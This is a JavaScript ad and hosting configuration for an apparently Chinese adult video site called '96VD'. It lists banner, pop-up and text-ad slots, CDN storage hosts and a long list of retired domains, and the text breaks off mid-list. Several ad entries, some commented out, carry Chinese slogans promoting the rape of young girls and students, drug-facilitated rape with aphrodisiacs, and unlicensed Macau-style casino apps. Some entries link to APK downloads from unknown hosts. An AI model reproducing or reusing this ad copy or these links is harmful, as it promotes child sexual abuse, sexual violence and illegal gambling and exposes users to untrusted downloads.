$g = avshow = Object.assign({
    config: {
        ads: {
/* 站标图 */         icons:[{
                image: "http://666.beijingdongyi.com/9898/e20240716_1946_1.gif",
                zone: "icon1",
                text: "嗨秀直播",
                url: "/"
            },
            {
                image: "http://666.beijingdongyi.com/9898/e20240716_1946_1.gif",
                zone: "icon2",
                text: "激情潮喷",
                url: "/"
            },
            {
                image: "http://666.beijingdongyi.com/9898/e20240716_1946_1.gif",
                zone: "icon3",
                text: "口爆吞精",
                url: "/"
            },
            {
                image: "http://666.beijingdongyi.com/9898/e20240716_1946_1.gif",
                zone: "icon4",
                text: "偷情少妇",
                url: "/"
            },
            {
                image: "http://666.beijingdongyi.com/9898/e20240716_1946_1.gif",
                zone: "icon5",
                text: "巨乳御姐",
                url: "/"
            },
            {
                image: "http://666.beijingdongyi.com/9898/e20240716_1946_1.gif",
                zone: "icon6",
                text: "位置出租",
                url: "/"
            }],
/* 文字广告 */             longtexts: [{
                days: 247,
                description: "澳门官方赌场送8888元",
                end_time: 1722816e3,
                icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                image: "/",
                name: "文字1",
                "start-date": "2023-12-02",
                text: "多财多亿uu视频",
                url: "https://2018.a48647346.top",
                zone: "yp.text"
            }, {
                days: 333332,
                description: "PG电子下载APP领红包",
                end_time: 30427660800,
                icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                image: "/",
                name: "文字11",
                "start-date": "2021-08-01",
                text: "伊人免费做爱在线直播",
                url: "https://e54.e5471866.vip/",
                zone: "zb.cpa.9"
            }, {
                days: 247,
                description: "🔥轮奸幼女破处强奸学生",
                end_time: 1722816e3,
                icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                image: "https://www.8b842.com",
                name: "文字2",
                "start-date": "2023-12-02",
                text: "名模直播",
                url: "https://88468232.top/my/445.html?channelCode=71187",
                zone: "yp.banner"
            }, {
              days: 247,
                description: "免费直播SM口爆强奸明星",
                end_time: 1722816e3,
                icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                image: "https://www.6262.cc",
                name: "文字22",
                "start-date": "2023-12-02",
                text: "拉斯",
                url: "/",
                zone: "yp.banner"
            }, {
            /*               days: 247,
                description: "澳门赌场开元棋牌抢庄牛牛",
                end_time: 1722816e3,
                icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                image: "https://47055845.com/wns/index.html",
                name: "5845澳门威尼斯",
                "start-date": "2023-12-02",
                text: "5845澳门威尼斯",
                url: "https://5845.b58456333.com",
                zone: "yp.banner"
            }, { */
           /*  days: 247,
                description: "🔥名模直播🔥",
                end_time: 1722816e3,
                icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                image: "https://ad330.4186974694.com:8443/av.html?xm8053#xm8053",
                name: "位置出",
                "start-date": "2023-12-02",
                text: "名模直播",
                url: "https://kxfbnc.shaoyanghw.com/mm/home.html?channelCode=mm034",
                zone: "yp.banner"
            }, { */
            /*                days: 247,
                  description: "直播结婚夫妻做爱免费观看",
                  end_time: 1722816e3,
                  icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                  image: "https://vip.96vd.96video.com/app.html",
                  name: "位置出租",
                  "start-date": "2023-12-02",
                  text: "成人抖阴多挂",
                  url: "https://vip.96vd.96video.com/app.html",
                  zone: "yp.banner"
              },  {				
			    days: 247,
                  description: "心跳成人直播下载",
                  end_time: 1722816e3,
                  icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                  image: "/gg.gif",
                  name: "心跳成人直播",
                  "start-date": "2023-12-02",
                  text: "心跳成人直播",
                  url: "https://v999av.fdode.com/2116.html",
                  zone: "yp.banner"
              },  {	
                 days: 247,
                  description: "免费抖阴 记录美好性生活",
                  end_time: 1722816e3,
                  icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                  image: "/gg.gif",
                  name: "成人抖阴",
                  "start-date": "2023-12-02",
                  text: "成人抖阴",
                  url: "https://nnzyt7ap3q.com/hy/22858/zjdy5620.apk",
                  zone: "yp.banner"
              },  {	
                 days: 247,
                  description: "樱花动漫👉原神同人漫画 3D动漫",
                  end_time: 1722816e3,
                  icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                  image: "/gg.gif",
                  name: "涩里番",
                  "start-date": "2023-12-02",
                  text: "涩里番",
                  url: "https://mu8uinjee.com/hy/24771/jhyhmh932",
                  zone: "yp.banner"
              },  {	*/			
			    days: 247,
                  description: "人妻偷情漏奶直播黑丝大秀",
                  end_time: 1722816e3,
                  icon: "https://timg149.top/static/tmp/app/yp.jpg?iv=d2135faa0af58bf96ca55d17a1e5150",
                  image: "/gg.gif",
                  name: "位置3",
                  "start-date": "2023-12-02",
                  text: "位置出租",
                  url: "https://88rdve.zzf12345.xyz/crav/1.html?channelCode=crav",
                  zone: "yp.banner"
              },  {				
                backup_image: "/",
                days: 232331,
                description: "🔥位置出租🔥",
                end_time: 21732710400,
                icon: "/",
                image: "/",
                image1: "/",
                name: "位置出租",
                "start-date": "2022-08-01",
                text: "位置出租",
                url: "/",
                zone: "zb.cpa.5"
            }],
            style: "\n.M92b4129 {\n    margin: auto;\n    text-align: center;\n}\n\n.M92b4129 .q-img,\n.M92b4129 img.s-2 {\n    height: 120px;\n}\n\n.M92b4129 .q-img,\n.M92b4129 img {\n    width: 660px;\n    height: 66px;\n    aspect-ratio: 660 / 66;\n}\n\n.M92b4129 a,\n.M92b4129 .q-responsive {\n    width: 660px;\n    height: 66px;\n    margin: auto;\n    display:block;\n    max-width: 100%;\n}\n\n\n@media (max-width: 960px) {\n    .M92b4129 a,\n     .M92b4129 .q-responsive,\n    .M92b4129 img {\n        max-width: 100% !important;\n        max-height: 65px;\n        height: auto !important;\n        min-height: 10px;\n        aspect-ratio: 660 / 66;\n        display:block;\n        width:100%!important;\n    }\n\n    .M92b4129 .q-img{\n        height:100%\n    }\n}\n\n\n.M92b4129 .q-img__image {\n    background-position: unset !important;\n    background-size: 100% 100%!important;\n}\n\n.videoplayerside {\n    padding: 8px;\n}\n\n.videoplayerside a img {\n    width: 100%;\n    padding: 8px;\n    border-radius: 8px;\n}\n\n\n.ads_long_item .ads_long_text {\n    background: var(--primary)!important;\n    color:var(--ads-long-text);\n    font-weight: bold;\n}\n\n.alert_windows .dialog_text{\n    color:var(--gold);\n    font-weight: bold;\n}\n"
        },
        ads_object: {
            "bottom.banner": {},
			"dialog.text": {
                "001-zb.cpa.6": {
/* 弹窗广告 */                      ads_num: 1,
                    backup_image: "/tmp/zb/0104512000a0o8tmw75B2.gif",
                    end_time: 202338604800,
                    icon: "http://666.beijingdongyi.com/9898/3e7ec1c68df8ced93c9bf.gif",
                    image: "/gg.gif",
                    name: "2024年火爆全网操B直播",
                    text: "2024年火爆全网操B直播",
                    url: "http://3.beijingdongyi.com",
                    zone: "zb.cpa.6"
                },
                "004-yp.dialog": {
/* 弹窗广告 */                      ads_num: 1,
                    end_time: 1722816e3,
                    icon: "https://timg149.top/tmp/yp/d2.gif?iv=e1a735a1aae27fe",
                    image: "http://666.beijingdongyi.com/9898/d2.gif",
                    name: "2024年火爆全网操B直播",
                    text: "2024年火爆全网操B直播",
                    url: "http://4.beijingdongyi.com",
                    zone: "yp.dialog"
                }
            },
            dp: {},
            "index.center": {
                "008-tcyp.banner": {
                    ads_num: 1,
                    end_time: 1722816e3,
                    image: "/gg.gif",
                    name: "主页视频中间横幅",
                    text: "名模直播",
                    url: "/",
                    zone: "tcyp.banner"
                }
            },
            "alert.windows": {
                "001-hgzb.dialog": {
/* 弹窗广告 */                     ads_num: 1,
                    belong: "zb.cpa.6",
                    image: "http://666.beijingdongyi.com/9898/e20240708_1932_1.gif",
                    image1: "http://666.beijingdongyi.com/9898/e20240708_1932_1.gif",
                    name: "伊人免费做爱在线直播",
                    text: "弹窗广告",
                    url: "http://5.beijingdongyi.com",
                    zone: "hgzb.dialog"
                }
            },			
            "player.bottom": {
                "003-zb.cpa.5": {
                    ads_num: 1,
                    backup_image: "/gg.gif",
                    end_time: 21732710400,
                    icon: "/gg.gif",
                    image: "/gg.gif",
                    image1: "/",
                    name: "内页视频下方广告1",
                    text: "心跳成人直播",
                    url: "/",
                    zone: "zb.cpa.5"
                },
/*                "010-zb.cpa.9": {
                    ads_num: 1,
                    end_time: 30427660800,
                    icon: "/gg.gif",
                    image: "https://imgs.imgclh.com/imgs/2024/07/02/f33e036451a28c08.gif",
                    name: "内页视频下方广告2",
                    text: "迷奸春药",
                    url: "https://lv9886702.com/pastred/dlva999.html",
                    zone: "zb.cpa.9"
                },*/
/*                "011-zb.cpa.6": {
                    ads_num: 1,
                    backup_image: "/tmp/zb/0104512000a0o8tmw75B2.gif",
                    end_time: 202338604800,
                    icon: "/gg.gif",
                    image: "https://tu.aimeimei4.xyz/gif/e20240703_1948_1.gif",
                    name: "内页视频下方广告3",
                    text: "伊人免费做爱在线直播",
                    url: "https://t.fdode.com/2116.html",
                    zone: "zb.cpa.6"
                },*/
/*                 "010-zb.cpa.10": {
                    ads_num: 1,
                    end_time: 30427660800,
                    icon: "/gg.gif",
                    image: "https://mingmo.jgybxi8azrol.com/mm/640-80.gif",
                    name: "内页视频下方广告4",
                    text: "名模直播",
                    url: "https://kxfbnc.shaoyanghw.com/mm/home.html?channelCode=mm034",
                    zone: "zb.cpa.9"
                },*/
                "014-yp.banner": {
                    ads_num: 1,
                    end_time: 1722816e3,
                    icon: "/gg.gif",
                    image: "/gg.gif",
                    name: "海角直播",
                    text: "内页视频下方广告5",
                    url: "/",
                    zone: "yp.banner"
                }
            },
            "player.side": {
                "001-tyc.player.side": {
                    ads_num: 1,
                    belong: "431",
                    image: "/images/222.gif",
                    name: "内页中间则面广告横幅",
                    url: "/",
                    zone: "tyc.player.side"
                }
            },
            ratio: {},
            "top.banner": {                
                "010-zb.cpa.6": {
                    ads_num: 1,
                    backup_image: "http://666.beijingdongyi.com/9898/v1.gif",
                    end_time: 202338604800,
                    icon: "/gg.gif",
                    image: "http://666.beijingdongyi.com/9898/v1.gif",
                    name: "头部广告1",
                    text: "48彩票",
                    url: "https://2018.a48647346.top/",
                    zone: "zb.cpa.6"
                },
				"001-zb.cpa.3": {	
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "http://666.beijingdongyi.com/9898/v2.gif",
                    name: "头部广告2",
                    "start-date": "2021-08-01",
                    text: "54vip",
                    url: "https://e54.e5471866.vip",
                    zone: "zb.cpa.2"
				},
                "001-zb.cpa.2": {
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/90-1.gif",
                    image: "http://666.beijingdongyi.com/9898/v3.gif",
                    name: "头部广告3",
                    "start-date": "2021-08-01",
                    text: "名媛直播",
                    url: "https://88468232.top/my/445.html?channelCode=71187",
                    zone: "zb.cpa.2"
				},
                "001-zb.cpa.4": {
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "/gg.gif",
                    name: "头部广告4",
                    "start-date": "2021-08-01",
                    text: "天宫直播",
                    url: "/",
                    zone: "zb.cpa.4"
				},
                "001-zb.cpa.5": {
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "http://666.beijingdongyi.com/9898/cpu2.gif",
                    name: "头部广告5",
                    "start-date": "2021-08-01",
                    text: "百秀直播",
                    url: "https://88rdve.zzf12345.xyz/crav/1.html?channelCode=crav",
                    zone: "zb.cpa.5"
                },
/* 	                "001-zb.cpa.8": {
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "https://imgsrc.baidu.com/forum/pic/item/d1160924ab18972b28aaabf7a0cd7b899e510a7f.jpg",
                    name: "头部广告7",
                    "start-date": "2021-08-01",
                    text: "拉斯",
                    url: "https://www.lasi57.vip:9856?shareName=&proxyAccount=68601293&vertical=1#/",
                    zone: "zb.cpa.8"					
                },
                /*"001-zb.cpa.9": {
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "/images/960X60.gif",
                    name: "头部广告8",
                    "start-date": "2021-08-01",
                    text: "168官方新葡京",
                    url: "/",
                    zone: "zb.cpa.9"					
                },*/
/*                "001-zb.cpa.14": {
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "https://haijiao-smd3.suansjq.com/hj/640-80.gif",
                    name: "头部广告9",
                    "start-date": "2021-08-01",
                    text: "海角直播",
                    url: "https://shr34z.mezhuacn.com/15/?channelCode=hj148",
                    zone: "zb.cpa.14"					
                },
               "001-zb.cpa.15": {
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "https://mingmo.jgybxi8azrol.com/mm/640-80.gif",
                    name: "头部广告10",
                    "start-date": "2021-08-01",
                    text: "名模直播",
                    url: "https://kxfbnc.shaoyanghw.com/mm/home.html?channelCode=mm034",
                    zone: "zb.cpa.15"					
                },
				/*"001-zb.cpa.18": { 
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "/gg.gif",
                    name: "头部广告11",
                    "start-date": "2021-08-01",
                    text: "头部广告11",
                    url: "/",
                    zone: "zb.cpa.18"					
                },*/
                /*"001-zb.cpa.19": {
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "https://mrtoss03.com/8226fbddea1cfa386f2f576ab767a8b5.gif",
                    name: "头部广告12",
                    "start-date": "2021-08-01",
                    text: "澳门金沙655",
                    url: "http://65255.in/index.html?shareName=65255.in&url",
                    zone: "zb.cpa.19"					
                },*/
                /*"001-zb.cpa.20": { 
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "https://tupian.kaiyuan308.vip/gggg/960-60.gif",
                    name: "头部广告13",
                    "start-date": "2021-08-01",
                    text: "开元棋牌308",
                    url: "https://kygg308711.vip/",
                    zone: "zb.cpa.20"					
                },*/
/*				"001-zb.cpa.10": { 
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "https://tu.aimeimei4.xyz/gif/e20240703_1948_1.gif",
                    name: "头部广告14",
                    "start-date": "2021-08-01",
                    text: "伊人免费做爱在线直播",
                    url: "https://v999av.fdode.com/2116.html",
                    zone: "zb.cpa.10"					
                },
                "001-zb.cpa.11": { 
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "https://imgs.imgclh.com/imgs/2024/07/02/f33e036451a28c08.gif",
                    name: "头部广告15",
                    "start-date": "2021-08-01",
                    text: "迷奸春药",
                    url: "https://lv9886702.com/pastred/dlva999.html",
                    zone: "zb.cpa.11"					
                },
                /*"001-zb.cpa.21": { 
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "https://imgsrc.baidu.com/forum/pic/item/6d81800a19d8bc3ec305c6f4c48ba61ea8d345fb.jpg",
                    name: "头部广告16",
                    "start-date": "2021-08-01",
                    text: "心跳成人直播",
                    url: "https://www.6f9z8c9.xyz/xt.html?xt=aug999av",
                    zone: "zb.cpa.12"					
                },*/
                /*"001-zb.cpa.22": { 
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "/images/8fc08c0346fcc0a4.gif",
                    name: "头部广告17",
                    "start-date": "2021-08-01",
                    text: "同城约炮",
                    url: "/",
                    zone: "zb.cpa.22"					
                },*/
                /*"001-zb.cpa.17": { 
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "/gg.gif",
                    name: "头部广告18",
                    "start-date": "2021-08-01",
                    text: "头部广告1",
                    url: "/",
                    zone: "zb.cpa.14"					
                },*/
				"001-zb.cpa.13": {
                    ads_num: 1,
                    days: 33331,
                    end_time: 4507574400,
                    icon: "/gg.gif",
                    image: "/gg.gif",
                    name: "最后一位置固定",
                    "start-date": "2021-08-01",
                    text: "最后一位置固定",
                    url: "/",
                    zone: "zb.cpa.13"					
                }                
            },
            video: {
                "001-yp.dialog": {
                    ads_num: 1,
                    end_time: 1722816e3,
                    icon: "https://yu.paeqmjq.cn/gif/e20240613_2041_1.gif",
                    image: "https://yu.paeqmjq.cn/gif/e20240613_2041_1.gif",
                    name: "伊人直播",
                    text: "伊人直播",
                    url: "https://v999av.fdode.com/2116.html",
                    zone: "yp.dialog"
                }
            }
        },
        application_name: "96VD",
        cdn: {
            static_host: "timg149.top"
        },
        cdnm3u8host: true,
        class_name: "M92b4129",
        color_theme: "dark",
        cookie: {
            all_domain: "",
            auth: "tauth",
            guest: "tguest",
            pre: "tp_"
        },
        defalut_avatar: "/static/images/avatar.svg",
        defalut_video_server: "b2server",
        email: "@v00av",
        links: null,
        old_ads_classname_list: "T42bd4e4 x830b478 v2a84e9e M42bd4e4",
        static_host: "timg149.top",
        verhash: 73069976,
        video_player: "clappr",
        videoplayer: {
            data: {
                css_hash: "68676fa25d4cdf9f7cc20",
                css_path: "player.css?68676fa25d4cdf9f7cc20",
                hash: "7582a59be5029c21",
                js_hash: "210be56cea8df30596b4a",
                js_path: "player.js?210be56cea8df30596b4a",
                key: "video:player:data:clappr"
            },
            hash: {
                css: "68676fa25d4cdf9f7cc20",
                js: "210be56cea8df30596b4a"
            }
        },
        vip_look: true,
        web_hash: {
            MERGE_CSS_HASH: "a07754da94597",
            MERGE_JS_HASH: "a14cceb1ee69266f203bfa89e981398c",
            ads_hash: "M92b4129",
            ghash: "_c81e1226563",
            lang_hash: "a9a1d3ffd5904f56b2aea1dc718697a8",
            space_cdn_hash: "89a53648b2734f0",
            template_hash: "744909137ff2c24d6a96832cdad6d229",
            videoplayer: {
                css: "68676fa25d4cdf9f7cc20",
                js: "210be56cea8df30596b4a"
            }
        }
    },
    space_confs: {
        s1: {
            cdn: [],
            host: ["sm1.storagenode.cc"],
            image: null,
            static_hosts: ["static1.storagenode.cc"],
            video_cdns: ["svcdn1.storagenode.cc"]
        },
        s10: {
            cdn: [],
            host: ["sm10.8fc.one"],
            image: null,
            static_hosts: ["static10.8fc.one"],
            video_cdns: ["svc10.8fc.one"]
        },
        s11: {
            cdn: [],
            host: ["s11.stc5.xyz"],
            image: null,
            static_hosts: ["static11.stc5.xyz"],
            video_cdns: ["svcdn11.stc5.xyz"]
        },
        s12: {
            cdn: [],
            host: ["sm12.storagenode.cc"],
            image: null,
            static_hosts: ["static12.storagenode.cc"],
            video_cdns: ["svc12.storagenode.cc"]
        },
        s13: {
            cdn: [],
            host: ["sm13.8fc.one"],
            image: null,
            static_hosts: ["static13.8fc.one"],
            video_cdns: ["svc13.8fc.one"]
        },
        s14: {
            cdn: [],
            host: ["s14.storagenode.cc"],
            image: null,
            static_hosts: ["static14.storagenode.cc"],
            video_cdns: ["svcdn14.storagenode.cc"]
        },
        s15: {
            cdn: [],
            host: ["s15.8fc.one"],
            image: null,
            static_hosts: ["static15.8fc.one"],
            video_cdns: ["svcdn15.8fc.one"]
        },
        s16: {
            cdn: ["s16.s1a.xyz"],
            host: ["s16.theavstatic.xyz"],
            image: null,
            static_hosts: ["static16.t1cdn.xyz", "static16.theavstatic.xyz"],
            video_cdns: ["svcdn16.theavstatic.xyz"]
        },
        s17: {
            cdn: ["s17.s1a.xyz"],
            host: ["sm17.avvideos.xyz"],
            image: null,
            static_hosts: ["static17.s9c.xyz", "static17.theavstatic.xyz"],
            video_cdns: ["svc17.s9c.xyz", "svc17.theavstatic.xyz"]
        },
        s18: {
            cdn: [],
            host: ["sm18.tptatic.xyz"],
            image: null,
            static_hosts: ["static18.tptatic.xyz"],
            video_cdns: ["svc18.tptatic.xyz"]
        },
        s19: {
            cdn: [],
            host: ["s19.b9data.xyz"],
            image: null,
            static_hosts: ["static19.b9data.xyz"],
            video_cdns: ["svcdn19.b9data.xyz"]
        },
        s2: {
            cdn: [],
            host: ["sm2.storagenode.cc"],
            image: null,
            static_hosts: ["static2.storagenode.cc"],
            video_cdns: ["svc2.storagenode.cc"]
        },
        s20: {
            cdn: ["s20.s1a.xyz"],
            host: ["s20.theavstatic.xyz"],
            image: null,
            static_hosts: ["static20.t1cdn.xyz", "static20.theavstatic.xyz"],
            video_cdns: ["svcdn20.theavstatic.xyz"]
        },
        s21: {
            cdn: ["s21.s1a.xyz"],
            host: ["s21.theavstatic.xyz"],
            image: null,
            static_hosts: ["static21.t1cdn.xyz", "static21.theavstatic.xyz"],
            video_cdns: ["svcdn21.theavstatic.xyz"]
        },
        s22: {
            cdn: [],
            host: ["s22.storagenode.cc"],
            image: null,
            static_hosts: ["static22.storagenode.cc"],
            video_cdns: ["svcdn22.storagenode.cc"]
        },
        s23: {
            cdn: ["s23.s1a.xyz"],
            host: ["s23.theavstatic.xyz"],
            image: null,
            static_hosts: ["static23.t1cdn.xyz", "static23.theavstatic.xyz"],
            video_cdns: ["svcdn23.theavstatic.xyz"]
        },
        s24: {
            cdn: ["s24.s1a.xyz"],
            host: ["s24.theavstatic.xyz"],
            image: null,
            static_hosts: ["static24.t1cdn.xyz"],
            video_cdns: ["svcdn24.theavstatic.xyz"]
        },
        s25: {
            cdn: [],
            host: ["s25.storagenode.cc"],
            image: null,
            static_hosts: ["static25.storagenode.cc"],
            video_cdns: ["svcdn25.storagenode.cc"]
        },
        s26: {
            cdn: ["s26.s1a.xyz"],
            host: ["s26.theavstatic.xyz"],
            image: null,
            static_hosts: ["static26.t1cdn.xyz"],
            video_cdns: ["svcdn26.theavstatic.xyz"]
        },
        s27: {
            cdn: ["s27.s1a.xyz"],
            host: ["s27.theavstatic.xyz"],
            image: null,
            static_hosts: ["static27.t1cdn.xyz"],
            video_cdns: ["svcdn27.theavstatic.xyz"]
        },
        s28: {
            cdn: ["s28.s1a.xyz"],
            host: ["s28.theavstatic.xyz"],
            image: null,
            static_hosts: ["static28.t1cdn.xyz"],
            video_cdns: ["svcdn28.theavstatic.xyz"]
        },
        s3: {
            cdn: [],
            host: ["s3.storagenode.cc"],
            image: null,
            static_hosts: ["static3.storagenode.cc"],
            video_cdns: ["svcdn3.storagenode.cc"]
        },
        s30: {
            cdn: [],
            host: ["s30.8fc.one"],
            image: null,
            static_hosts: ["static30.8fc.one"],
            video_cdns: ["svcdn30.8fc.one"]
        },
        s31: {
            cdn: [],
            host: ["s31.tptatic.xyz"],
            image: null,
            static_hosts: ["static31.tptatic.xyz"],
            video_cdns: ["svcdn31.tptatic.xyz"]
        },
        s32: {
            cdn: [],
            host: ["s32.storagenode.cc"],
            image: null,
            static_hosts: ["static32.storagenode.cc"],
            video_cdns: ["svcdn32.storagenode.cc"]
        },
        s33: {
            cdn: [],
            host: ["s33.storagenode.cc"],
            image: null,
            static_hosts: ["static33.storagenode.cc"],
            video_cdns: ["svcdn33.storagenode.cc"]
        },
        s34: {
            cdn: [],
            host: ["s34.storagenode.cc"],
            image: null,
            static_hosts: ["static34.storagenode.cc"],
            video_cdns: ["svcdn34.storagenode.cc"]
        },
        s35: {
            cdn: [],
            host: ["s35.tptatic.xyz"],
            image: null,
            static_hosts: ["static35.tptatic.xyz"],
            video_cdns: ["svcdn35.tptatic.xyz"]
        },
        s36: {
            cdn: [],
            host: ["s36.8fc.one"],
            image: null,
            static_hosts: ["static36.8fc.one"],
            video_cdns: ["svcdn36.8fc.one"]
        },
        s37: {
            cdn: [],
            host: ["s37.8fc.one"],
            image: null,
            static_hosts: ["static37.8fc.one"],
            video_cdns: ["svcdn37.8fc.one"]
        },
        s38: {
            cdn: [],
            host: ["s38.8fc.one"],
            image: null,
            static_hosts: ["static38.8fc.one"],
            video_cdns: ["svcdn38.8fc.one"]
        },
        s39: {
            cdn: [],
            host: ["s39.8fc.one"],
            image: null,
            static_hosts: ["static39.8fc.one"],
            video_cdns: ["svcdn39.8fc.one"]
        },
        s4: {
            cdn: ["s4.s1a.xyz"],
            host: ["s4.i1c.xyz"],
            image: null,
            static_hosts: ["static4.s9c.xyz"],
            video_cdns: ["svcdn4.i1c.xyz"]
        },
        s5: {
            cdn: [],
            host: ["s5.8fc.one"],
            image: null,
            static_hosts: ["static5.8fc.one"],
            video_cdns: ["sv5.8fc.one"]
        },
        s6: {
            cdn: [],
            host: ["sm6.8fc.one"],
            image: null,
            static_hosts: ["static6.8fc.one"],
            video_cdns: ["svc6.8fc.one"]
        },
        s7: {
            cdn: [],
            host: ["sm7.storagenode.cc"],
            image: null,
            static_hosts: ["static7.storagenode.cc"],
            video_cdns: ["svc7.storagenode.cc"]
        },
        s8: {
            cdn: [],
            host: ["sm8.storagenode.cc"],
            image: null,
            static_hosts: ["static8.storagenode.cc"],
            video_cdns: ["svc8.storagenode.cc"]
        },
        s9: {
            cdn: [],
            host: ["s9.storagenode.cc"],
            image: null,
            static_hosts: ["static9.storagenode.cc"],
            video_cdns: ["svcdn9.storagenode.cc"]
        },
        sb10: {
            cdn: ["sb10.s1a.xyz"],
            host: ["sbm10.theavstatic.xyz", "sb10.theavstatic.xyz"],
            image: null,
            static_hosts: ["staticb10.theavstatic.xyz"],
            video_cdns: ["sbvc10.theavstatic.xyz"]
        },
        sb11: {
            cdn: ["sb11.s1a.xyz"],
            host: ["smb11.s9c.xyz"],
            image: null,
            static_hosts: ["staticb11.t1cdn.xyz"],
            video_cdns: ["sbvc11.s9c.xyz"]
        },
        sb12: {
            cdn: ["sb12.s1a.xyz"],
            host: ["smb12.s9c.xyz"],
            image: null,
            static_hosts: ["staticb12.t1cdn.xyz"],
            video_cdns: ["sbvc12.s9c.xyz"]
        },
        sb14: {
            cdn: ["sb14.s1a.xyz"],
            host: ["sbm14.theavstatic.xyz"],
            image: null,
            static_hosts: ["staticb14.theavstatic.xyz"],
            video_cdns: ["sbvc14.theavstatic.xyz"]
        },
        sb5: {
            cdn: ["sb5.s1a.xyz"],
            host: ["sbm5.theavstatic.xyz"],
            image: null,
            static_hosts: ["staticb5.theavstatic.xyz"],
            video_cdns: ["sbvc5.theavstatic.xyz"]
        },
        sb6: {
            cdn: ["sb6.s1a.xyz"],
            host: ["sbm6.theavstatic.xyz"],
            image: null,
            static_hosts: ["staticb6.theavstatic.xyz"],
            video_cdns: ["sbvc6.theavstatic.xyz"]
        },
        sb7: {
            cdn: ["sb7.s1a.xyz"],
            host: ["smb7.s9c.xyz"],
            image: null,
            static_hosts: ["staticb7.t1cdn.xyz"],
            video_cdns: ["sbvc7.s9c.xyz"]
        },
        sb9: {
            cdn: ["sb9.s1a.xyz"],
            host: ["sbm9.theavstatic.xyz"],
            image: null,
            static_hosts: ["staticb9.theavstatic.xyz"],
            video_cdns: ["sbvc9.theavstatic.xyz"]
        },
        sla1: {
            cdn: ["sla1.i1c.xyz"],
            host: ["smla1.i1c.xyz"],
            image: null,
            static_hosts: [],
            video_cdns: ["sla1vc.i1c.xyz"]
        },
        sla11: {
            cdn: ["sla11.tecdn.xyz"],
            host: ["smla11.tecdn.xyz"],
            image: null,
            static_hosts: [],
            video_cdns: ["sla11vc.tecdn.xyz"]
        },
        sla15: {
            cdn: [],
            host: ["smla15.i1c.xyz"],
            image: null,
            static_hosts: ["staticsa15.i1c.xyz"],
            video_cdns: ["sla15vc.i1c.xyz"]
        }
    },
    web_conf: {
        REDIRECT_COUNTRY_CODES: ["CN", "VN", "MY", "PH", "TR", "AE", "TH"],
        abandon_hosts: ["v88dz10.xyz", "96VD9.xyz", "88av18.xyz", "88av14.xyz", "88av15.xyz", "88av13.xyz", "88av25.xyz", "96VD228.xyz", "96VD224.xyz", "96VD220.xyz", "96VD223.xyz", "96VD262.xyz", "96VD260.xyz", "96VD257.xyz", "96VD253.xyz", "96VD247.xyz", "96VD244.xyz", "96VD240.xyz", "96VD238.xyz", "96VD236.xyz", "96VD233.xyz", "96VD259.xyz", "96VD256.xyz", "96VD280.xyz", "96VD265.xyz", "96VD255.xyz", "96VD245.xyz", "96VD242.xyz", "96VD239.xyz", "96VD234.xyz", "96VD279.xyz", "96VD254.xyz", "96VD237.xyz", "96VD299.xyz", "96VD290.xyz", "96VD287.xyz", "96VD283.xyz", "96VD278.xyz", "96VD261.xyz", "96VD251.xyz", "96VD249.xyz", "96VD282.xyz", "96VD264.xyz", "96VD250.xyz", "96VD317.xyz", "96VD313.xyz", "96VD316.xyz", "96VD310.xyz", "96VD308.xyz", "96VD335.xyz", "96VD330.xyz", "96VD318.xyz", "96VD307.xyz", "96VD302.xyz", "96VD298.xyz", "96VD296.xyz", "96VD329.xyz", "96VD301.xyz", "96VD297.xyz", "96VD346.xyz", "96VD344.xyz", "96VD341.xyz", "96VD338.xyz", "96VD336.xyz", "96VD333.xyz", "96VD327.xyz", "96VD325.xyz", "96VD323.xyz", "96VD312.xyz", "96VD334.xyz", "96VD321.xyz", "96VD311.xyz", "96VD348.xyz", "96VD343.xyz", "96VD340.xyz", "96VD337.xyz", "96VD331.xyz", "96VD326.xyz", "96VD347.xyz", "96VD332.xyz", "96VD377.xyz", "96VD369.xyz", "96VD366.xyz", "96VD362.xyz", "96VD359.xyz", "96VD356.xyz", "96VD352.xyz", "96VD376.xyz", "96VD365.xyz", "96VD351.xyz", "96VD425.xyz", "96VD429.xyz", "96VD435.xyz", "96VD428.xyz", "96VD421.xyz", 